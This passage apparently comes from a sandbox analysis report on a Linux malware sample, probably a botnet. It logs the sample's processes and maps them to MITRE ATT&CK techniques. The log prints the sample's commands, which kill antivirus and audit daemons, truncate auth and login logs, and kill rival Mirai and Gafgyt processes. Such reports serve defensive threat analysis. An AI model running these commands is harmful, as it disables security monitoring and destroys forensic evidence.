1⤵
- Reads runtime system information
PID:1194

/usr/bin/pkill
pkill -9 -f "[c]lamd"
1⤵
PID:1196

/usr/bin/pkill
pkill -9 -f "[k]lscan"
1⤵
PID:1198

/usr/bin/pkill
pkill -9 -f "[k]avfs"
1⤵
PID:1200

/usr/bin/pkill
pkill -9 -f "[s]noop"
1⤵
PID:1204

/usr/bin/pkill
pkill -9 "[a]uditd"
1⤵
PID:1203

/usr/bin/pkill
pkill -9 -f "[a]ccton"
1⤵
PID:1205

/usr/bin/truncate
truncate -s 0 "/var/log/auth*" /var/log/secure /var/log/wtmp /var/log/lastlog
1⤵
- Deletes log files
PID:1207

/usr/bin/pkill
pkill -9 -x mirai
1⤵
PID:1211

/usr/bin/pkill
pkill -9 -x mirai.arm
1⤵
PID:1213

/usr/bin/pkill
pkill -9 -x mirai.mips
1⤵
- System Network Configuration Discovery
PID:1215

/usr/bin/pkill
pkill -9 -x mirai.mpsel
1⤵
PID:1217

/usr/bin/pkill
pkill -9 -x gafgyt
1⤵
PID:1219

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Indicator Removal

T1070

Clear Linux or Mac System Logs

T1070.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Network Service Discovery

T1046

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

System Network Connections Discovery

T1049

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads